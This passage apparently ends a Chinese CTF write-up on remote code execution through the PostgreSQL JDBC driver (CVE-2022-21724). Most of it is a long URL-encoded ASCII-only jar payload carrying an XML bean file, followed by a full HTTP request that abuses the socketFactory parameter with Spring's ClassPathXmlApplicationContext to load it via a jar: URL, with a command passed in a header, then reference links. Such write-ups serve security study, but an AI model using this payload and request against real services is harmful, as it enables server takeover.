wGDDtwGtGD333333www03333sDdFP%5CME%7CSzoFWZQZnuBy%5CYKyw%7DNSWuQVZvIC%5BiN%5Bc%7DsVOmNvwu%7FjI%7DEr%5CME%7CSaooZGoFoFCFwZ%5EVzZFCkE%5C_%7BUeuc%5EB_cms%5DOYbq%7FMErKa%7FS~MsvBUIjgUErK%5E%7Cz%7FmBAS%5Db~JfZFUZ%5E~nZnRZWZVZVE%5Bc%7DsVOmNvwu%7FjQ%5Ds%2AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGGDGDDDwGwwtwwGswGDDtwGtGGwwwt33333sww03333sDfBDcUE~%7FjOZBJaJAUBY%5CqyRO%5DEQI%5DVvSey%5CjJjmkNio%7BeEUCnBSwn%5CSWmVY%5CibQ_UyFgAOOJWJZRZ%7DZbJnkjJjF%7BeEUCnbY%5CuyOwiB~CMsRSm%7DmJwJzJfZC%5EusFBeqr%5BM_rvMKj%7C%5DF~%5CmsYCMIG%5BY%7DOJja%1AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDtwDGtGDDD3wGswGDDtwGtGDwwGtwwt33333wwG03333sdFP%5CzSzJjArZjj%5ECMISjoIfjFNe%7FmEiK%7DvKW%5DuiKCSfj%5E_sa%5DkVbMYJgMUR%5BABQ%7CCkKwm%7FgGyvGsckfOcuiG%7DzJyMbVw%7Dke_qoojooFfzSzJjaEZjjjnjaCZjjc%7BMuQqmus%7CjIjF~zK%5DFjF%5Eja%7B~jA%7Cj_ofjVbGsckfO%7DvVwm_JycN%5EG%7DkczcUKgmve_ZoFQzSFqj%2AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDttwGGGDDDsGwwGtswDDDwwDwtwwwGGwt33333www03333sDfBDsZjjuc%5DNZKmkQZjz%5C%7BivGc%7DkfOmvVwu_Ji%7DNnGmk%5Dr%5EYogUeuc~%7Cocmk%5DOYBq_MER%5BQ%5ByGmvqK%5DSWAjajj%5CQ%7Bj%7FCFIjQjfmkyb%7D%2AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtsW033GwwwDwDDDtsGswtwwGDDtwGwGDwGwtwwt33333wwG03333sdFPoj%5CjjqzSzJjayZjjsl%5D%5Cal%7DkKwMooj%5CojqzSFQjaSZjj%7B%5BMUiaMUa%7FueCKFjFmjjr%5EjjSj%7Cofjf%5CWAmkV%7CuYJgueR%5B~%5Cal%7DkKwM%7FgNjalZjZaGuUMs~%7CKO~lKw%7DNElyBi_MeVWZoFcjIjvMUK%5EMEsZzjFsjIj%5E%7DBis%7D%5Bi%7FE%7CKlmjfjVYsAmkV%7CuYJgueR%5B~%5Cal%7DkKwM%7Fg%7BeSojbo%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwDwGGDDD3wwGwwGwDDDwwDwDwwwtGwG33333www03333sDfBDszcj%5CjqEZjjMWMUb%5BCvcajq%7Djmi%7BjQjF%7BjijvuBSS%7DsV%5Cjijf~fsGioojRcFgzcj%5CjqoZjZE%7Bi_KamkVBuYJWuUb%5BA%7CQ%5C%7DkKwM%7FWajNsjrc%7BjQjFOjijn%7DvV_%7DBe%5E%5D%5BiZjZE%7ByvGSCkfO%5DvVwM_JyCN%5EG%5Dk%7Dr~EsajIf%2AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDttwGwGDDDwwGGtsGwwwGDDtwGtwGwwtDt33333sw03333sDfBDjcGzCzV%7FzIzF~cczZIvzFBkWMNERYBuAzq%7DzjcGzazVRzIzn%7DbEs%7Dbi_mer%7BzIze%5Evkn%5EyoguUMS~BoS%5D%5B%7Dwybi_mer%7BQOOz%5CcVJfcz%7CzqOFzzosuUakaKivMeawMNyFzFuGY%0ED0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDtDDGwGDDD3wwwtwwwDDDtwDwGtGwG33333swwG03333sdFP%5Bc%7DKFwmVfWM_rY%7Dvn%5BmK%5Db%5EEgZzJz%5CJqR%5EJJNjJJFJJUCjJJuke%7CN%5Be%7CNAJINjJOkJJCFFJIJf%5EfgZ%5EEuAJJyjjCkJaJFvJIJV~%7Fs%7B~%7FijZJFnzJZuJNG%5EJJNjZOFJZV%7Ds%7DFnB%7DVE%7FJIJF%5EZsmICOjzIFQZCJ%7CJIRjJJoSuUas%21D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGGwGDDD3wDwwwGwDDDwwDwtwwwDD33333swG03333sdFPsiv%5D%5BqwMNEzZzuGU%5C%5EgyNgSC%5BVw%5DNvWM_jyCn~g%5D%5B%7DrfZViZi%5EAZZ%5EzVOVZzYJRm%7F%5CjFZVeZIZU%7DbeWa%5B%7Cg%7DBQWIKvyiyu%5CiNes%5DBik%7DcczvOVZzBMw%7DKRS%5DUEQZiKZuZGZNOVmZIZQMNes%5DBikI%7Be%5BM%5Be_FZV%7DZIZa%5D%5BebYUR%7FCNvWuBEzZzIGAE/D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwDGDGDDDwGswwtwGwwGDDtwGwwGwwwt33333swG03333sDfBDGEyeCnB_CuKMOIBvGeY~%5CAooJf%7DZ%5Dj%7DrurqrJrrvua%7DMJV%7DZrZF%7BCmKZwmyQ%7BujbjEy~s~SaVrqaJrr%7BkeyQZeY~OeFi%7FjrZKrarFeFiSuBQsjrZ%5BrarNeBi%5CQYbSuBQsM%7D%7DJN%7DZrZ%7CW%5EUKzBEqRgEYbkn%5CRcUKiS-D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDwwtGtGDDDswGwGwtwGwGDDtwGttwwwGtwwG33333wwG03333sdFPfgnZiozZZrKmkQOuNEymBQ%7C%5DkKwuoCzACVZv%5BQBmcrWMeQSAs~zy%7CybQVEwUbjsue%5E%5EZYZzZZuKmkQOuNy%5EZY%5EzZZJ%5Cq%7FJ%5Cq%7FJ%5Cq%7FJ%5Cq%7FJ%5Cq%7FJ%5EZYIzZZCJUb_GmkK%7CqC%7BZZCZ~ZIZVIbjsuIVZFsERUbEo%7DNKOm%5BazZZBY%7DNvSM%7C%02D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDtwwttGDDD3swDtGDDDtGtwtwttwG33333sw03333sDfBDc%5DNEcMkoKzfvzzCzvzzzzzzzAzzvzFyznzz~FizzzzFuzzyzFzzzzfe%7BRzz%5B%7BWOzIgyzzzzzFiyzzzzyzzyz~zz~zVCzYzzvFizzzzzjzzyzFzzzzzo~EgzzzzzzzzCzQzzMzzyvrzzzVayznzzgzzzAnvc%5DenyiZzFwzzFbbzfNqaOebzf%5DGzyiZzzebzfwzzfRzzfRzzfBIz%7Fr%7DQQJSzcug%5EUabzVzeqGMziAsfzeO%7DqGMzqF~JWCzrky%5E%7FQF%7C_WCz%5CvsfbzvyJFFsvFQMzEosvQF%7C_WCFQiCum%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtsW03sDGDttDtGpt3wwwtwwGDDtwDtwtwwG333333G03333sdFPMeRa%7Dv~g%5DrZA%5DIKRrZBr%7Dczg%5DRlZcl%7CRZQBrrcZrneRqocZFQy%7CRZGBrqczg%5DRlZSF%7CRZQBrNmRN%7FkFFQy%7CRjB%7CRzQIiMeRqjkZ%5BOREA%5DmUrMeRa%7BeRYneRYrvqg%5DrZA%5DQUrRI%7CRZmUrrczg%5DrnA%5DiUrMeRa%7Dvyg%5DrZA%5DIKRrQBr%7Dczg%5DRlg%5DriZSu%7CRZQBrrcZrneRqocZFQy%7CRZGBrqczg%5DRlg%5DruZS_%7CRFvEFQy%7CRjB%7CRF%5EIEneRAvcrzoczg%5DRlZsy%7CRZQBrrcZrneRqocZFQy%7CRZwRRFmBr%5D%5E%7CroifFQu%7CRFWCRAOUr%7Difg%5DrWg%5DRlZKJ%7CRZQBrrcZrneRqocZFQeYrbeRM%7BeRIbeRa%7Dv_rn%5CR%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDtwwtwGDDD3swGtGDDDGtwGtDtt33333swwG03333sDfBDBkvgsfrMj%5DFAekN%5EE%5Dmfj%5DFCG%5DFUoUzFFe%7DFoUrF~_uWsFGYsM%7Dffk%5EnEcbF%5EJbFNwbFvrUSsUzFfW%7DF_A%7CMj%5DFsekN%5EE%5Dmfj%5DFCG%5DFUoUzFFe%7DF%7F%7BRFAiuWsFGoFF%7CYss%7DVI%5DFu_knWsF%5CN%5BMvOEFCWsFK%5EEMvOEFNWsFGYsk%7DVC%5DFyKQ~Fj%7CF%5Ej%5DFsekaFj%7CFfq%5DFQZF%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDwwGwtGDDDwwGswwGwGwGDDtwtwtwtwwDGt33333www03333sDdFPKEgANYgmfaszk%7DMz%5By%5BAOsfeNYwbz~cGzzJGzzeJfMYnz%5DS%5Cv%5EYVz%5DSZJJCzFv%7F_zzMz%5DzF%7CznCzvofezAzzgozEzAezOzfRzFQzbsV%7BzI%5BzvoNkzK%7CfQoz%5EzzzfYY~vzFezzYvJzzzzgYzY%5CszWFozkFozOzSjzEYzNFozfFozkFozOzYCzysCzFzzFFozEVU%7CnzFi%5CzFQzFoCzzsCz%5EoCzaYvnzvMnzzYnzFQzzYCzv%5CgzvB%7CnzFQY%5CYFqFoFGzSozroCzqijzzsz%5EFozfFozkFozOzYCzysCzFzCzmovzzYCzfzn%5CzzezFzCzzsCz%5EoCzaYvzzzu%5Czz%5EzzYCzzszFFozU%5CzzzFozvzzgz%7BzfazzvFIzzzzIQzFzznzzzz%5BoYjvW7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtswDDDtwwwtwwwtwwttGDDttDwGwttwwwt33333www03333sDdFPRFAzIQqMFNE%7FBFa~E%7BQMFiAKFfYqZ%5ErKF%5EF%5DzFvymF_akU%7CKNNGSeuYUGUJ%7DFnY%5DzFvymF_aGU%7CKNNG_euYUGU%5CJRFQ~wwcV%7CwcVjicEjFQ%7Cm%5EYEbFqFEogMF_s%5BnNWcJfSKnwcvqkYFCOovi5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDwtwttGDDDswtDsGGGDDDswwtttwwtG33333wwG03333sdFPMmz%7F_knwcVynIebzaubzaQbzakJFGC%7CR_knWvogwcVmWzzFzzzzKzfazzczzIvJzzzzaczn%7CIzuzImzaFSiFoV%7D%7Cozczzm%5EzVIFFozBFoV%7DFoVcFofZFozBzzzK%7Cozfzzv%5EzVIzzImzfzzAz~%7BzsozfzyczzzfrzzUzFczzz~jYrkoFyY%7BgwcV%5B%5BIfzAsObzQ%5BbzQbrzqfrzqI%5Cz%7FUvz%7FUNNIE%5D%7BczMNIIG%01D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtsW03sDGDwttwwGDDD3GswtGDDDwGwGGGtwwwt33333wwG03333sDdFPJmzrYysNYusOsVOmVmvKzUFG%5C%5C%5Bo_z%7CME%7BWOsVGFnzcmFUvmf%7BEZWmzl%7Dmz%5C%7DsFz%7DsFF%7DCFfvBJzqR%5DO_Viv_vaOsVeQQsFVQmFvQsFF%7DsFNQmz%7C%7FqFNWmz%7CJmzB%7DzgozvqwzzzzzvFIszzzFCzz%5Cjz~sznF_z%7CF_z%7CFYvFzYzz%5ESszEYvRzzzzFzzFzzszfsVlzijzzsvbzzzzk_znzzYzzz%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDwtttwGDDD3swttGDDDwDtwtGswG33333wwG03333sDfBDoV_VMOZV%5DeFWeZy%7CVoYZ%5DuYQEqvIBZ%5EVgwCVcza%7CZzvsfAKIBZFoZZEiZZEI_ezQz~%5DCzN%7C%7CWV_VkZr%7CZNrMZCYVfoYZVwCZgeSBBZfbeZEsVoYZ%5DuYQEqvIBZ%5EVwza%7CZzvsfAKIBZFoZZEiZZEI_ZZVZZZZWZF%7CZFZZzZe%5BZZZZNZZvwz_Z%5EZesZZZZVZZVZFZZ~ZyVzVCZFZeCZZZFoZZMZzYZZZn%5BzezQz~%5DCzN%7C%7CWV_VgZ%7DZZn%5DMZCE_z_ZVwwCZgeSBBZfbeZEJVoYZ%5DuYQeZEqewCFzaYEjZZymZ%7F%7BewCZg_ZZ%7CeA%7DZq%7CbeZeNbZywqaaMz%5Ee%5BVNYEBZfbeZeQVoYZ%5DuYQeZEqewCFzNYYVoYZVuYQGUrMZAJZZqV_gWZZzZZ%5EZYYzVZZCZZYVRZZZZN_ZF%5C_zVZZ%5EnZEQnZfYZZY%7DZFi%7CZQ_%7DZN_%7DZzZ%16D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sGDGwtwGptwwtwtwwtwGwtDDDtswGtGwwwG33333www03333sDfBDrZZZZzZZzZZCZFqVFZqAZZqVRZZZZiqZvZZqZZZZ%7BVoVBWCVqYF%7B%5COZcaZ%7FRm%5EGJSZzMgNi%5BmA_gm%5EjroAR%5EIynqfZU%7D%7CJi_oZZZZZqVJZZZZfqZF%7CCZQzoVszoVsZIKZFZVbZZeZZqVRZZZZ~CZFZZVZZZZawoZFEuMzaB%5DkZZI~gqZzZZZZFZZ~ZZCZZqVJZZZZzoZFioMZFZZZZ%1AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAt3wwwEpDDGGpDwwGwGDDtwDDGDDGtG0GDDswGwwG333333G03333sdFPQQavwESWMqb%5CzzzzzzzzzzzzavSCGgqb%5Czzzzzzzzav%5B%7Bk%5BM%7Bg_qb%5CzzzzaveMEKqb%5CzzzzaeMEKzCuQFUSEGGYkEuM%7BFzUSEGGQFcEwEoVsEKE%5DMsMKgVSkEuCK%5DVyYMgFvqb%5CzzzzaeMEKzCuQFUSE%7F%7FFzmEUgk%7B_feMEKQFUSEGGYkEuM%7BFzmEUgk%7B_fsMg%7DkuQFuMmCKMISEGGFqb%5CzzzzzzzzaUkKGg%7BWUgk%7BfE%7B%5Dz%7BMmQFuMUkuM%7BFvqb%5CzzzzzzzzaUkKGg%7BWUgk%7BfE%7B%5Dzg_%5BMQFCKgFzwESWMQFNFvqb%5CzzzzzzzzaUkKGg%7BWUgk%7BfE%7B%5Dzg_%5BMQFCKgFzwESWMQFAn%5E~Fvqb%5CzzzzaveMEKqb%5CzzzzaeMEKzmEUgk%7B_feMEKQFUSE%7F%7FFzmEUgk%7B_fsMg%7DkuQFKMOiKGgEKUMFvqb%5CaveMEKG1PK%01%02%00%00%0A%00%00%00%08%00%00%00%00%007%1Dc%08%18.%00%00%0B%1F%00%00%1A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00META-INF/resources/exp.xmlPK%05%06%00%00%00%00%00%00%01%00H%00%00%00P.%00%00%00%00

image-20250428221522727

可以看到成功写入,然后使用jar协议正常读取即可

GET /jdbc?url=jdbc:postgresql://node1/test%3Fa%3D&url=%26socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg%3Djar:file:///app/exp4.zip!/META-INF/resources/exp.xml HTTP/1.1
Host: localhost:8080
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
sec-ch-ua-platform: "Windows"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
X-Authorization: whoami

image-20250428221540321

总结

这个题目真是学到很多啊,大佬们都太强了orz

参考

https://www.cnblogs.com/CoLo/p/17051019.html#postgresql

http://www.bmth666.cn/2023/10/11/CVE-2022-21724-PostgreSQL-JDBC-Driver-RCE/index.html

https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html

https://wx.zsxq.com/group/2212251881/topic/185442258122142

https://gv7.me/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/